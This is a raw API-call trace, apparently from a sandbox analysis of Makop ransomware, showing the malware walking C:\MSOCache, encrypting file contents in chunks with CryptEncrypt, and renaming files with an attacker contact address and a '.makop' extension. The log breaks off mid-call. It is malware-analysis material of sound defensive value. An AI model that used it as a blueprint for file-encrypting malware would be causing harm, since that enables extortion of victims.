[0078.233] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C") returned 62 [0078.233] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*.*") returned 66 [0078.234] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0078.271] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.271] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0078.271] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us") returned 75 [0078.271] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*.*") returned 79 [0078.271] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0078.280] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.280] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0078.280] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0078.280] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0078.299] GetFileSizeEx (in: hFile=0x130, lpFileSize=0x6577ab8 | out: lpFileSize=0x6577ab8*=2517504) returned 1 [0078.299] GetProcessHeap () returned 0x48a0000 [0078.299] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0078.299] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0078.299] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.299] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0078.300] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0078.300] GetProcessHeap () returned 0x48a0000 [0078.300] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0078.300] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a88*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a88*=0x40) returned 1 [0078.300] CryptDestroyKey (hKey=0x48c7128) returned 1 [0078.300] WriteFile (in: hFile=0x130, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa4*=0x40, lpOverlapped=0x0) returned 1 [0078.316] WriteFile (in: hFile=0x130, lpBuffer=0x6577aac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577aac*, lpNumberOfBytesWritten=0x6577aa4*=0x4, lpOverlapped=0x0) returned 1 [0078.317] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa4*=0x10, lpOverlapped=0x0) returned 1 [0078.317] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa4*=0x80, lpOverlapped=0x0) returned 1 [0078.317] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0078.317] WriteFile (in: hFile=0x130, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0078.317] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0078.317] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0078.317] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0078.318] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0078.336] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0078.339] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.339] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0078.341] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x266ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.341] WriteFile (in: hFile=0x130, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0078.341] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0078.341] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0078.369] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0078.372] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.372] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0078.377] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x266ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.377] WriteFile (in: hFile=0x130, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0078.377] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0078.377] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0078.393] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0078.396] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.396] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0078.398] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x266ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.398] WriteFile (in: hFile=0x130, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0078.399] CryptDestroyKey (hKey=0x48c7128) returned 1 [0078.399] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x266ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.399] SetEndOfFile (hFile=0x130) returned 1 [0078.407] GetProcessHeap () returned 0x48a0000 [0078.407] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0078.407] GetProcessHeap () returned 0x48a0000 [0078.407] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0078.407] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 136 [0078.408] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0078.567] CloseHandle (hObject=0x130) returned 1 [0078.568] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0078.568] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0078.568] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0078.580] GetProcessHeap () returned 0x48a0000 [0078.580] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0078.580] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0078.580] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0078.581] WriteFile (in: hFile=0x130, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0078.585] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0078.585] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0078.585] GetProcessHeap () returned 0x48a0000 [0078.585] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0078.585] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0078.585] CryptDestroyKey (hKey=0x48c7128) returned 1 [0078.585] WriteFile (in: hFile=0x130, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0078.586] WriteFile (in: hFile=0x130, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0078.586] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0078.586] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0078.586] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0078.586] WriteFile (in: hFile=0x130, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0078.586] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0078.587] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0078.587] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.587] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x545, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x545, lpOverlapped=0x0) returned 1 [0078.587] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x550, dwBufLen=0x550 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x550) returned 1 [0078.587] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.587] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x550, lpOverlapped=0x0) returned 1 [0078.587] CryptDestroyKey (hKey=0x48c7128) returned 1 [0078.587] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.587] SetEndOfFile (hFile=0x130) returned 1 [0078.595] GetProcessHeap () returned 0x48a0000 [0078.595] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0078.595] GetProcessHeap () returned 0x48a0000 [0078.595] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0078.595] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 136 [0078.595] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0078.601] CloseHandle (hObject=0x130) returned 1 [0078.601] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0078.601] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0078.601] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0078.613] GetFileSizeEx (in: hFile=0x130, lpFileSize=0x6577ab8 | out: lpFileSize=0x6577ab8*=28016276) returned 1 [0078.613] GetProcessHeap () returned 0x48a0000 [0078.613] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0078.614] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0078.614] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.614] WriteFile (in: hFile=0x130, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa4*=0xc, lpOverlapped=0x0) returned 1 [0078.620] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0078.620] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0078.620] GetProcessHeap () returned 0x48a0000 [0078.620] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0078.621] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a88*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a88*=0x30) returned 1 [0078.621] CryptDestroyKey (hKey=0x48c7128) returned 1 [0078.621] WriteFile (in: hFile=0x130, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa4*=0x30, lpOverlapped=0x0) returned 1 [0078.621] WriteFile (in: hFile=0x130, lpBuffer=0x6577aac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577aac*, lpNumberOfBytesWritten=0x6577aa4*=0x4, lpOverlapped=0x0) returned 1 [0078.621] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa4*=0x10, lpOverlapped=0x0) returned 1 [0078.621] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa4*=0x80, lpOverlapped=0x0) returned 1 [0078.622] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0078.622] WriteFile (in: hFile=0x130, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0078.622] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0078.622] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0078.622] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0078.622] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0078.636] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0078.639] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.639] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, 